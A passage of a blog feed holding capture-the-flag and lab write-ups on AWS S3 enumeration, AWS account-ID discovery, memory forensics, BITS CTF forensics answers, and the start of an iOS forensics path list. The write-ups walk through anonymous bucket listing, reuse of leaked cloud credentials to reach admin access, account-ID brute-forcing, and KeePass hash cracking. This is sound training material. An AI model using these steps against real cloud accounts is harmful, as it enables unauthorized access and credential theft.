src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f7a841500a5c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AWS S3 Enumeration Basics. pwnedlabs]]></title>
            <link>https://medium.com/@mpotisambo8/aws-s3-enumeration-basics-pwnedlabs-0de4bf90a15f?source=rss-5e606632a6f8------2</link>
            <guid isPermaLink="false">https://medium.com/p/0de4bf90a15f</guid>
            <dc:creator><![CDATA[mpoti sambo]]></dc:creator>
            <pubDate>Mon, 23 Sep 2024 07:23:05 GMT</pubDate>
            <atom:updated>2026-07-22T21:48:54.207Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ga__swBxmdmoAMbGjJM6ZQ.png" /></figure><p>Scenario</p><p>It’s your first day on the red team, and you’ve been tasked with examining a website that was found in a phished employee’s bookmarks. Check it out and see where it leads! In scope is the company’s infrastructure, including cloud services.</p><h3>Learning outcomes</h3><ul><li>Familiarity with the AWS CLI</li><li>Basic S3 enumeration and credential exfiltration</li><li>An awareness of how this scenario could be been prevented</li></ul><p>Real World Context</p><p>Amazon S3 (Simple Storage Service) is a very popular (and the second oldest!) AWS service that is used to store files and backups, and can even be used to serve websites. This multi-use functionality has led some to argue that this service would be more secure if it were split into separate public web hosting and private file storage services. In recent years AWS have introduced more visual warnings when customers are making buckets world-readable, but still, if this setting is available, people will set it! Misconfigurations and overly permissive settings in S3 have resulted in many data breaches over the years.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WoXmjFyKPQ7mZAQzXrr5tQ.png" /></figure><p>We can then confirm that the website uses s3 buckets to store some files such as images and css files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*mnnVKae7Z1VNBm4am5M4Ng.png" /></figure><p>Trying to access the buckets we see we do not have the permission to access them</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*AieHvkeZQdpedLTHK6CpHQ.png" /></figure><p>So the command issued there is trying to access the s3 service and listing anything found on that directory. So the reason why it was unsuccessful is because it was trying to use my aws credentials to access those files. what is we do not need to provide those credentials at all.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YAb0FjE6x9QXHtJOGfA7FQ.png" /></figure><p>without credentials we just add the — no-sign-request. This command tell the aws tool to access the service without providing any login credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*H9dQjh0xlCXpuSN867pAOw.png" /></figure><p>we just can try to perform a recursive search on the platform but nothing is a success.</p><p>we get to see that there are some files that we have access and other files that we have no access to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zMF09uLW5t3S5vD0Cca_xg.png" /></figure><p>recursive copying of files is also not allowed but we can just copy them normally.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OL4-XHSEY_ackEriBz-IYA.png" /></figure><p>Now that is done we can also copy the rest of the files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W8vON2Td95HOnOMAVU-mjw.png" /></figure><p>viewing the script.js to check if there is anything suspicious we don’t get anything</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*lzRWRdFeJt7maP8ZYt-ovw.png" /></figure><p>Power-shell script found inside the zipped folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mxPWNPzw-SKfOWGiIhdBeA.png" /></figure><p>look what we found …….. hahaaa great we finally have some creds</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*mKXolYqTdRYVjie5kkHIDw.png" /></figure><p>Credentials</p><pre># AWS Configuration<br>$accessKey = &quot;&quot;<br>$secretKey = &quot;&quot;<br>$region = &quot;us-east-1&quot;</pre><p>adding the credentials using aws command line tool</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*qkgiFEtRKh5hvT99PqzFWw.png" /></figure><p>we can try to verify our identity using our configuration</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3X2n6YuHqRVeBE-TJsR76w.png" /></figure><p>we can verify with our new credentials if we can enumerate any further</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*25oqvc0yy6bVAIIfqv1wCQ.png" /></figure><p>So using the new credentials we can finally enumerate the admin folder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*55Bln-SzMWlF6IwfkwdSpA.png" /></figure><p>Again we do not have the privilege to access the flag.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p27w6bwgpeQrYZpeKgIPwA.png" /></figure><p>we have other secrets in another folder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*gHD9qiGSFpmBF2FRCR7ukQ.png" /></figure><p>we get the file migrate_secrets.ps1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OBPxfO3VdAMKNrBlF0uJDQ.png" /></figure><p>so they are the same credentials we got earlier.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*avZO5uo8UOcaXSZYdTyvQA.png" /></figure><p>we have other new credentials that seem to be for an Admin account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1-wMDg9yviYvUr2o7_454Q.png" /></figure><pre>        &lt;ServiceType&gt;AWS IT Admin&lt;/ServiceType&gt;<br>        &lt;AccountID&gt;......&lt;/AccountID&gt;<br>        &lt;AccessKeyID&gt;....&lt;/AccessKeyID&gt;<br>        &lt;SecretAccessKey&gt;.....&lt;/SecretAccessKey&gt;</pre><p>We need to configure aws to use these new credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uZpUPzVStGf6GEgLhcBERg.png" /></figure><p>Let’s verify our identity aws sts get-caller-identity</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lOuE6p_bcfxvBmPJG4JTKg.png" /></figure><p>now we can go and read the flag.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*JFq671JQP-AbFZp5a8i0dA.png" /></figure><p>Pwned ……. pew pew</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*zppeRYm7QPHYYkMkfOKw4w.png" /></figure><p>Generally this was a fun box to do and there are very many things you can learn from these kind of boxes.</p><p>All thanks to <a href="https://pwnedlabs.io/labs/aws-s3-enumeration-basics">https://pwnedlabs.io/labs/aws-s3-enumeration-basics</a> for this challenges. Thank you for your time, until next time …</p><p>By stux,</p><p>#UhurunaUmoja</p><p>#visitTanzania</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0de4bf90a15f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Identify the AWS Account ID from a Public S3 Bucket]]></title>
            <link>https://medium.com/@mpotisambo8/identify-the-aws-account-id-from-a-public-s3-bucket-85a42e0db48e?source=rss-5e606632a6f8------2</link>
            <guid isPermaLink="false">https://medium.com/p/85a42e0db48e</guid>
            <dc:creator><![CDATA[mpoti sambo]]></dc:creator>
            <pubDate>Mon, 16 Sep 2024 14:46:19 GMT</pubDate>
            <atom:updated>2024-09-16T14:46:19.822Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone its stux, and today will be doing some aws hacking from pwnedlabs.io</p><p>Real-world context<br>If threat actors get their hands on an AWS Account ID, they can try to identify the IAM roles and users tied to that account. They can do this by taking advantage of detailed error messages that AWS services return when inputting an incorrect username or role name. These messages can verify if an IAM user or role exists, which can help threat actors compile a list of possible targets in the AWS account. It’s also possible to filter public EBS and RDS snapshots by the AWS Account ID that owns it.</p><p>nmap scan.</p><pre>command used nmap  -Pn -sV -sC -vvv -T4 54.204.171.32<br>53/tcp open  domain  syn-ack (generic dns response: SERVFAIL)<br>| fingerprint-strings: <br>|   DNSVersionBindReqTCP: <br>|     version<br>|_    bind<br>80/tcp open  http    syn-ack Apache httpd 2.4.52 ((Ubuntu))<br>| http-methods: <br>|_  Supported Methods: POST OPTIONS HEAD GET<br>|_http-server-header: Apache/2.4.52 (Ubuntu)<br>|_http-title: Mega Big Tech<br>1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :<br>SF-Port53-TCP:V=7.94SVN%I=7%D=9/16%Time=66E7D1A2%P=x86_64-pc-linux-gnu%r(D<br>SF:NSVersionBindReqTCP,20,&quot;\0\x1e\0\x06\x81\x82\0\x01\0\0\0\0\0\0\x07versi<br>SF:on\x04bind\0\0\x10\0\x03&quot;);<br><br>NSE: Script Post-scanning.<br>NSE: Starting runlevel 1 (of 3) scan.<br>Initiating NSE at 09:35<br>Completed NSE at 09:35, 0.00s elapsed<br>NSE: Starting runlevel 2 (of 3) scan.<br>Initiating NSE at 09:35<br>Completed NSE at 09:35, 0.00s elapsed<br>NSE: Starting runlevel 3 (of 3) scan.<br>Initiating NSE at 09:35<br>Completed NSE at 09:35, 0.00s elapsed<br>Read data files from: /usr/bin/../share/nmap<br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 38.67 seconds</pre><p>From the above command we can see we are dealing with an ubuntu server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BYHpLtxEFMRtUsIUXyfRkg.png" /></figure><p>From the website we can get the company name</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_OWsl1EJwVg5OoaLfcsADw.png" /></figure><p>let us try and see the source code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JIkMj5T1JtJNR_axBzfqIQ.png" /><figcaption>image showing where images are stored.</figcaption></figure><p>we get to see so s3 buckets that are in use. One may ask why call them s3 buckets, well they stand for (simple storage services) cool name right :) So what are they?<br> <br> An **S3 bucket** is a storage resource provided by **Amazon S3 (Simple Storage Service)**, which is part of Amazon Web Services (AWS). It allows users to store and retrieve an unlimited amount of data, such as files, documents, images, videos, backups, and more. These “buckets” act like directories, but with more advanced features such as access control, versioning, encryption, and logging.</p><p>So from our source code we can see that these images are being stored in these buckets. My question was what else can we obtain from these buckets.</p><p>it is also important to know where exactly the bucket was created, in this case it was created in us-east-1 which is Virginia.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*HlZLyrvd9mI4IWikAqqQCA.png" /></figure><pre>curl -I https://mega-big-tech.s3.amazonaws.com<br>HTTP/1.1 200 OK<br>x-amz-id-2: SokzXb6jp8WGNLc9vBAaB0wgdSs4qruftOL1eWlUPzqJ10vfmf+Yh/EG+VthBD1WdcWFceoNlfk=<br>x-amz-request-id: M1M2KBNRJSRGQQDV<br>Date: Mon, 16 Sep 2024 07:03:59 GMT<br>x-amz-bucket-region: us-east-1<br>x-amz-access-point-alias: false<br>Content-Type: application/xml<br>Server: AmazonS3</pre><p>Upon research on how to brute force amazon aws -id i found this site that explains how to do so. This is an amazing resource you can read more on this article it explains step by step how to perform the attack.</p><pre>https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*755xuSRxEWFL0uBJtQaN0g.png" /></figure><p>let us install s3-account-search</p><pre>python3 -m pip install s3-account-search</pre><p>So from this point we need to find aws ID, if this is the first time you are doing this we can use this command to install aws utilities in our command line</p><pre>sudo apt install awscli</pre><p>This will require authentication of the aws id and secret key</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*nlLGSwvvwhFDVXUxtwo0vg.png" /></figure><p>We can verify our identity with aws before attempting to bruteforce the aws id of the found s3 buckets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*AUkThREJZ_-bWngaKwbT4g.png" /></figure><p>Bruteforcing the aws -id we get</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*-6CMeWU5tfsvvj3JKSlO1Q.png" /></figure><p>From that we can say that we have successful brute forced the aws-id of that account and what can be done after that is just devastating.</p><p>That’s it for today.</p><p>By stux</p><p>#UhurunaUmoja</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=85a42e0db48e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ramadhan Night CTF Hosted by Cyber Talent]]></title>
            <link>https://medium.com/@mpotisambo8/ramadhan-night-ctf-hosted-by-cyber-talent-a06915eeff8d?source=rss-5e606632a6f8------2</link>
            <guid isPermaLink="false">https://medium.com/p/a06915eeff8d</guid>
            <dc:creator><![CDATA[mpoti sambo]]></dc:creator>
            <pubDate>Fri, 29 Mar 2024 04:05:19 GMT</pubDate>
            <atom:updated>2024-03-29T04:05:19.539Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Ramadhan Night CTF Hosted by Cyber Talent</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/1*-5y2zPWxHLxv4oc06jgdAw.jpeg" /></figure><p>Hello and welcome once again to yet another forensics challenge this is my first challenge to write about from cyber talents and it was quite a fun one. The ctf was rather a short one which lasted for 4hrs only.</p><p>Challenge name History 101</p><p>Challenge was about a hacker how hacked into another account and wanted to gain other password accounts.</p><p>using volatility 3 i checked for cmd commands that attacker left behind</p><pre>python .\vol.py -f .\Stolen.vmem windows.cmdline</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hDtB4CZ8pW14DzGaT1Y0ZA.png" /></figure><p>It was a base 64</p><p>decoding in cyber chef</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nl7cftcNhhP6ZKkYrcICig.png" /></figure><p>So this means we have to keep that base64 somewhere safe as it may be a password to maybe a zipped file or embedded image ….:)</p><p>So upon searching i found this interesting app that many people use called keepass for storing credentials so that made me curious</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5VNecK-ZhXTvq9l9qZlfzw.png" /></figure><p>But keeppass stores most of its credentials in a file extension called kdbx lets find that file and where it is located</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*IO9VP6k1IZpefgPWB_Slug.png" /></figure><p>There we have the file and its confirmed so back to the question the title was History 101. So what history are they talking about cmd history, logs, browser lots of options so after a while i got a plugin for viewing chromehistory</p><p>These are our files of interest</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1HyY6PVkAd3A-qMGch4Kug.png" /></figure><p>The upper link takes us to mega site where we download the keys.zip</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m41pdBu-l8sTZSALba6PpQ.png" /></figure><p>Lets go to the pastebin url</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*kcEHBT9wG2k0pXwLNw33oA.png" /></figure><p>So it requires a password to openup the pastebin but we remember in the base64 text i was said that it is the password. So lets paste it and get the file</p><p>When we paste the base 64 we are provided with a wordlist</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*ZHcJu2pCGOWzSpxafEvHDg.png" /></figure><p>Now we have two components the keys.zip and the passwordlist</p><p>Extracting keys.zip gives us the same file we saw previously keys.kdbx</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/345/1*oYZAFzIjt5sb4IhWNpAdWw.png" /></figure><p>using john to extract the hash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*MGVUIHsLk719zDuZELgPOQ.png" /></figure><pre>keepass2john /keys.kdbx &gt;hash.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N22pC7xfGkiV-sqqVaU-zg.png" /></figure><p>Finally we have to crack the hash suing john using the wordlist we obtained from the pastebin link</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EfruXjUdRDwpU503VNjGzg.png" /></figure><p>There we have it it was quite educative though. I loved this one.</p><p>Until next time</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*8KVdFEHieZXu9zFQShgSrA.gif" /></figure><p>#uhuru na Umoja</p><p>#Visit Tanzania</p><p>By stuxnet8</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a06915eeff8d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BITS CTF]]></title>
            <link>https://medium.com/@mpotisambo8/bits-ctf-a84fc5aa661b?source=rss-5e606632a6f8------2</link>
            <guid isPermaLink="false">https://medium.com/p/a84fc5aa661b</guid>
            <dc:creator><![CDATA[mpoti sambo]]></dc:creator>
            <pubDate>Mon, 19 Feb 2024 22:09:02 GMT</pubDate>
            <atom:updated>2024-02-20T07:18:57.057Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>BITS CTF</strong></p><p>Hey, its stuxnet8 here back again with another writeup but this one if from BITS CTF all the way from India i really enjoyed playing this one coz it was kinda fun and very challenging really put my Forensics skills to the task.</p><p>Firstly i want to point out that i had a hard time with the volatility version i was using so yeah it was kinda a set back but nevertheless we always work our way round it. I will be solving DFIR challenges in this blog Post so sit back and relax.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*jaeJyjB4l9Y7yX6jTTmZJA.png" /><figcaption>front</figcaption></figure><p>Qn1:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*97ptLiEowmw_89Ks34i_RA.png" /><figcaption>flag 1</figcaption></figure><p>From this description we had our flag just lying in plain sight</p><p>Answer: BITSCTF{DFIR_r0ck55}</p><p>Qn2:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*GEOu0Oq8u-QKdrFpXzg9ww.png" /><figcaption>qn2</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*bgphYB9ILGE6saNRlYuG8Q.png" /></figure><pre>vol -f memdump.mem windows.hashdump</pre><p>Lets crack it with crack station</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vb_athMdnbUtsIQ_cE1OJg.png" /><figcaption>crack station</figcaption></figure><p>Answer: BITSCTF{adolfhitlerrulesallthepeople}</p><p>Qn3:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*mLHJz8_Svo0mUbWPh9f5AA.png" /><figcaption>wired</figcaption></figure><p>There is a pcap file in the artifact they gave us the disk image</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FtIwiXtpgcxq7YBrXvj6CA.png" /><figcaption>pcap</figcaption></figure><p>lets export it and see if it contains any useful information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ettWN46j9gsPIDFKQzT7cg.png" /></figure><p>we can see that the protocol used was usb so lets create a profile for usb just to be clean</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*HonxVQeQBkfBfTz_CF59Kw.png" /><figcaption>usb</figcaption></figure><p>Checking if any other protocols were used in the pcap file and non can be found except usb</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*OhlGmwwzDeo6LgRXLcf9pA.png" /><figcaption>protocol</figcaption></figure><p>Let’s try and export keyboard input</p><pre>usb.transfer_type==0x01 and frame.len==35 and !(usb.capdata == 00:00:00:00:00:00:00:00)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bS8RUDoH7RNrMmaJlytXbg.png" /></figure><p>Next to simplify things i applied HID data as a column and used tshark to extract its content and put it in a CVS file called output.cvs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*98U8p1vdNiH6OL5jhJ77_g.png" /></figure><pre>tshark -r keylog.pcapng -Y &quot;usb.transfer_type == 0x01 &amp;&amp; frame.len == 35 &amp;&amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&quot; -T fields -e usbhid.data &gt; output.csv</pre><p>so lets put the output.cvs to stux.txt and remove any other fields you can do it manually or using a python script to remove them out</p><p>The only thing remaining is to convert the Hex values and parse them to text so upon googling i found this script</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bnQzKJx9i0eblzUoB4xtVQ.png" /></figure><p>downloaded it and Boom we got our flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*zY_rn0UUkmyPOSsQm94-Bg.png" /><figcaption>logme in</figcaption></figure><p>Answer: BITSCTF{I_-7h1nk_th3y_4Re_k3yl0991ng_ME!}</p><p>Qn 4:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*OiTnoV3-eRxtHcg9aPBe7Q.png" /><figcaption>0.69 day</figcaption></figure><p>Back to my windows machine i was trying to figure out what vulnerable application this was our guess was Outlook i remember spending hours on this challenge I together with <a href="https://medium.com/u/70eeb4b201fa">Alexius samson</a> down the same rabbit hole of OUTLOOK hahaaaa</p><p>looking at what he typed on the command line we see</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nRJqpDpOz2RSpfwal-Ai7Q.png" /><figcaption>winrar</figcaption></figure><p>We see user Mogabro using winrar to zip the file called follow-these-instructions a file we saw in our disk image via ftk imager</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EEm6m0I4mJWPRpDmYonTGw.png" /></figure><p>which inside contained steps.pdf</p><p>Below we can see lottery.exe let us analyze it and see if its malicious or not</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6evGEDJ9bPpUh585626bwA.png" /><figcaption>lottery</figcaption></figure><p>And surely the lottery.exe seems to be malicious in nature</p><p>Ok heading back to the disk image we know for certain that we have winrar and inside winrar there is steps.pdf which in our case is the payload. But when we go to the Temp folder we can see that winrar is there and when we visist here Browser metrics we get the version of winrar which is the most important to answeer this question</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jcMhG1btYwZprXG01Nm2WA.png" /></figure><p>we get version 6.22.0</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*ZrFCaDNOS3Ak7FwsP9XNmQ.png" /></figure><p>One can simply type this and they get the answer or</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*88Mr7fCilicNKEYbjwrkjA.png" /></figure><p>More details</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xnXAKA7WTkuOFoD83PHWvQ.png" /></figure><pre>ZIP archive may include a benign file (such as an ordinary .JPG file) and also a folder that has the same name as the benign file, and the contents of the folder (which may include executable content) are processed during an attempt to access only the benign file. </pre><p>From the above statement this further clarified the point and that was the answer</p><p>Answer: BITSCTF{CVE-2023–38831}</p><p>Qn5:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*2hI9QpYf3WpmwictxnBPTw.png" /><figcaption>guilty pleasure</figcaption></figure><p>So this is the email that Mogambro received</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*SqwjHrMZ6Rq9DuekWian7Q.png" /><figcaption>email</figcaption></figure><p>Extracted from the disk image provided. Like whaaaaaaattttt how does someone send this kind of message which makes absolutely no sense hahaaaa i mean Dear Salaryman so i thought my be i need to find salaryman to get the flag so i googled and googled until no more so i just paste the whole thing on the internet to see if there are any matches</p><p>here are the results</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MH99f6jsN7M_4Nsch7GNaA.png" /><figcaption>spammic</figcaption></figure><p>Clicking on the first google search i took me to a link called <a href="https://www.spammimic.com/decode.shtml">https://www.spammimic.com/decode.shtml</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h3ObVXeYL4aUifWkccgY8A.png" /><figcaption>spam</figcaption></figure><p>We just paste the whole message and try to decode it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M1aI2yfBQb4rgBPur1o-0Q.png" /></figure><p>Boom another flag down</p><p>Answer: BITSCTF{sp4m_2_ph1sh_U}</p><p>Qn6:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*qwI2Wk_ka0C_VFLKyQ5CiQ.png" /><figcaption>bypassing tls</figcaption></figure><p>Well we saw the some key on the Desktop of the Mogabro’s user in the disk</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*njDCze2gBEIV8aNhf2PUiA.png" /><figcaption>tls keys</figcaption></figure><p>lets import the keys</p><p>Once the keys are imported we are able to read the encrypted traffic and dump all the http2 packets to a folder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E_sblBR09xSZIKdwDXgflw.png" /><figcaption>decrypted</figcaption></figure><pre>strings * | grep -i &quot;BITSCTF&quot;                                                                                                                                130 ⨯<br>&lt;/div&gt;&lt;/li&gt;&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;Anyways here&amp;#039;s your flag - BITSCTF{5te4l1ng_pr1v47e_key5_ez:)}&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;</pre><p>Answer: BITSCTF{5te4l1ng_pr1v47e_key5_ez:)}</p><p>Qn7</p><p>Lottery.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UMM3qK_cGGjNKVaIXljEOQ.png" /></figure><p>We can see that it used Pyinstaller to package it so lets unpackage it with that</p><p>Let us download pythinstaller extractor</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*uo6YjAglQJEsv6aDs5Z0Xg.png" /></figure><p>Next we run our script to decompile the program</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SR2F_bsLxCyBzDiGUr2ckA.png" /></figure><p>Creates a new folder called lotteryextracted</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*MacLbXXPgAtCBLZu0wIe-g.png" /></figure><p>We we try to list them out we get many files created</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*NEKtftzvQ3S883mjKXMiZw.png" /></figure><p>we get a suspicious file called lotter.pyc</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*W5IDQA0CMvZJtn0Ouftozg.png" /></figure><p>let us decompile the file</p><pre>pip3 install uncompyle6</pre><p>Downloaded uncomple6</p><pre>uncompyle6.exe .\lottery.pyc</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SsXWbX8HmDwRnZOvKmsKOg.png" /><figcaption>boom</figcaption></figure><p>We have successfully decompiled that</p><p>Part that caught my interest was this one</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w31lhxwo8GerngTPaVqURg.png" /></figure><p>we saw in the disk a file called secret.png let us try and recover that but in the source code it says that it used AES encryption as we know its not easy to break that one without prior knowledge</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*GoRbxqyjmS57BddhvuOGRw.png" /></figure><p>Looking at this piece of code it says something of a key that can be used to decrypt the AES algorithm but its stored in the TEMP file</p><p>Remember this is the encrypted image</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*_uLK7cYcN3IjK8843wSqRw.png" /></figure><p>Reading the encrypted file we see this via cyber chef</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x9bz6rkbUv-rR0hLd2IMZQ.png" /></figure><p>Lets head to the TEMP files and see if we have the key. To decode the AES algorithm we need the IV and the key.</p><p>When we visit Mogabro/App Data/Local/Temp/ we find the 32 bit file which is the key</p><p>Let’s extract the file from the arifact (disk) and try getting the IV first</p><p>The IV stands for Initialization Vector</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*qqLxd8JHJKO7iwy-tBcyHg.png" /></figure><p>we convert the text urfuckedmogambro to hex and we are done since we hale the key already should be a piece of cake</p><p>and here is the key</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S74ugA7TMfy02lPaqxbAJw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*luRwM_WoGzI7u6B-Z4Q-lA.png" /></figure><p>let’s finish the AES challenge</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hCqOA5RSfc06-La3eZUa7w.png" /><figcaption>final</figcaption></figure><p>woww that was tiresome and fun</p><p>Overrall the CTF was very challenging and fun to play around with i really enjoyed it evry step of the way</p><p>By stuxnet8</p><p>#uhurunaumoja</p><p>#visitTanzania</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a84fc5aa661b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IOS Forensics Cheat Sheet]]></title>
            <link>https://medium.com/@mpotisambo8/ios-forensics-cheat-sheet-a121c74ef42d?source=rss-5e606632a6f8------2</link>
            <guid isPermaLink="false">https://medium.com/p/a121c74ef42d</guid>
            <dc:creator><![CDATA[mpoti sambo]]></dc:creator>
            <pubDate>Sun, 18 Feb 2024 15:35:03 GMT</pubDate>
            <atom:updated>2024-02-18T15:35:03.024Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Paths to specific artifacts on iOS backup (likely encrypted) / iOS rooted</strong></p><p>Hello, its stux8 here and today we will cover my ios cheat sheet for performing a forensics investigation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tobQgnHP8XS_nvNe.png" /></figure><p>Version &amp; Serial Number</p><pre>/System/Library/CoreServices/System Version.plist</pre><p>Device UUID</p><pre>/private/var/Library/Safari/SyncedTabsMetadata.plist</pre><p>Installation date</p><pre>/[private/var]/mobile/Library/Preferences/com.apple.purplebuddy.plist</pre><p>Cellular Info</p><pre>/wireless/Library/Preferences/com.apple.commcenter.data.plist<br>/private/var/wireless/Library/Preferences/com.apple.commcenter.data.plist</pre><p>iOS — Auto-Wipe Enabled (after failed pin)</p><pre>[/private/var]/mobile/Library/Preferences/com.apple.springboard.plist</pre><p>Network Interfaces &amp; System 